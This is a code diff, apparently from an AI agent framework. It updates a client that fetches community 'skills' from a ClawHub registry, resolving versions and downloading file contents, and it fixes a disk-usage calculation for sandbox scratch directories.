content = f.get("content", "")
if fname and content:
files[fname] = content
elif isinstance(file_list, dict):
files = {k: v for k, v in file_list.items() if isinstance(v, str)}
latest_version = self._resolve_latest_version(slug, skill_data)
if not latest_version:
logger.warning("ClawHub fetch failed for %s: could not resolve latest version", slug)
return None
version_data = self._get_json(f"{self.BASE_URL}/skills/{slug}/versions/{latest_version}")
if not isinstance(version_data, dict):
return None
files = self._extract_files(version_data)
if "SKILL.md" not in files:
logger.warning(
"ClawHub fetch for %s resolved version %s but no inline/raw file content was available",
slug,
latest_version,
)
return None
return SkillBundle(
name=identifier.split("/")[-1] if "/" in identifier else identifier,
name=slug,
files=files,
source="clawhub",
identifier=identifier,
identifier=slug,
trust_level="community",
)
def inspect(self, identifier: str) -> Optional[SkillMeta]:
slug = identifier.split("/")[-1]
data = self._get_json(f"{self.BASE_URL}/skills/{slug}")
if not isinstance(data, dict):
return None
tags = data.get("tags", [])
if not isinstance(tags, list):
tags = []
return SkillMeta(
name=data.get("displayName") or data.get("name") or data.get("slug") or slug,
description=data.get("summary") or data.get("description") or "",
source="clawhub",
identifier=data.get("slug") or slug,
trust_level="community",
tags=[str(t) for t in tags],
)
def _get_json(self, url: str, timeout: int = 20) -> Optional[Any]:
try:
resp = httpx.get(
f"{self.BASE_URL}/skills/{identifier}",
timeout=15,
)
resp = httpx.get(url, timeout=timeout)
if resp.status_code != 200:
return None
data = resp.json()
return resp.json()
except (httpx.HTTPError, json.JSONDecodeError):
return None
return SkillMeta(
name=data.get("name", identifier),
description=data.get("description", ""),
source="clawhub",
identifier=identifier,
trust_level="community",
tags=data.get("tags", []),
)
def _resolve_latest_version(self, slug: str, skill_data: Dict[str, Any]) -> Optional[str]:
latest = skill_data.get("latestVersion")
if isinstance(latest, dict):
version = latest.get("version")
if isinstance(version, str) and version:
return version
tags = skill_data.get("tags")
if isinstance(tags, dict):
latest_tag = tags.get("latest")
if isinstance(latest_tag, str) and latest_tag:
return latest_tag
versions_data = self._get_json(f"{self.BASE_URL}/skills/{slug}/versions")
if isinstance(versions_data, list) and versions_data:
first = versions_data[0]
if isinstance(first, dict):
version = first.get("version")
if isinstance(version, str) and version:
return version
return None
def _extract_files(self, version_data: Dict[str, Any]) -> Dict[str, str]:
files: Dict[str, str] = {}
file_list = version_data.get("files")
if isinstance(file_list, dict):
return {k: v for k, v in file_list.items() if isinstance(v, str)}
if not isinstance(file_list, list):
return files
for file_meta in file_list:
if not isinstance(file_meta, dict):
continue
fname = file_meta.get("path") or file_meta.get("name")
if not fname or not isinstance(fname, str):
continue
inline_content = file_meta.get("content")
if isinstance(inline_content, str):
files[fname] = inline_content
continue
raw_url = file_meta.get("rawUrl") or file_meta.get("downloadUrl") or file_meta.get("url")
if isinstance(raw_url, str) and raw_url.startswith("http"):
content = self._fetch_text(raw_url)
if content is not None:
files[fname] = content
return files
def _fetch_text(self, url: str) -> Optional[str]:
try:
resp = httpx.get(url, timeout=20)
if resp.status_code == 200:
return resp.text
except httpx.HTTPError:
return None
return None
# ---------------------------------------------------------------------------

View File

@@ -638,19 +638,18 @@ def get_active_environments_info() -> Dict[str, Any]:
"workdirs": {},
}
# Calculate total disk usage
# Calculate total disk usage (per-task to avoid double-counting)
total_size = 0
for task_id in _active_environments.keys():
# Check sandbox and workdir sizes
scratch_dir = _get_scratch_dir()
for pattern in [f"hermes-*{task_id[:8]}*"]:
import glob
for path in glob.glob(str(scratch_dir / "hermes-*")):
try:
size = sum(f.stat().st_size for f in Path(path).rglob('*') if f.is_file())
total_size += size
except OSError:
pass
pattern = f"hermes-*{task_id[:8]}*"
import glob
for path in glob.glob(str(scratch_dir / pattern)):
try:
size = sum(f.stat().st_size for f in Path(path).rglob('*') if f.is_file())
total_size += size
except OSError:
pass
info["total_disk_usage_mb"] = round(total_size / (1024 * 1024), 2)
return info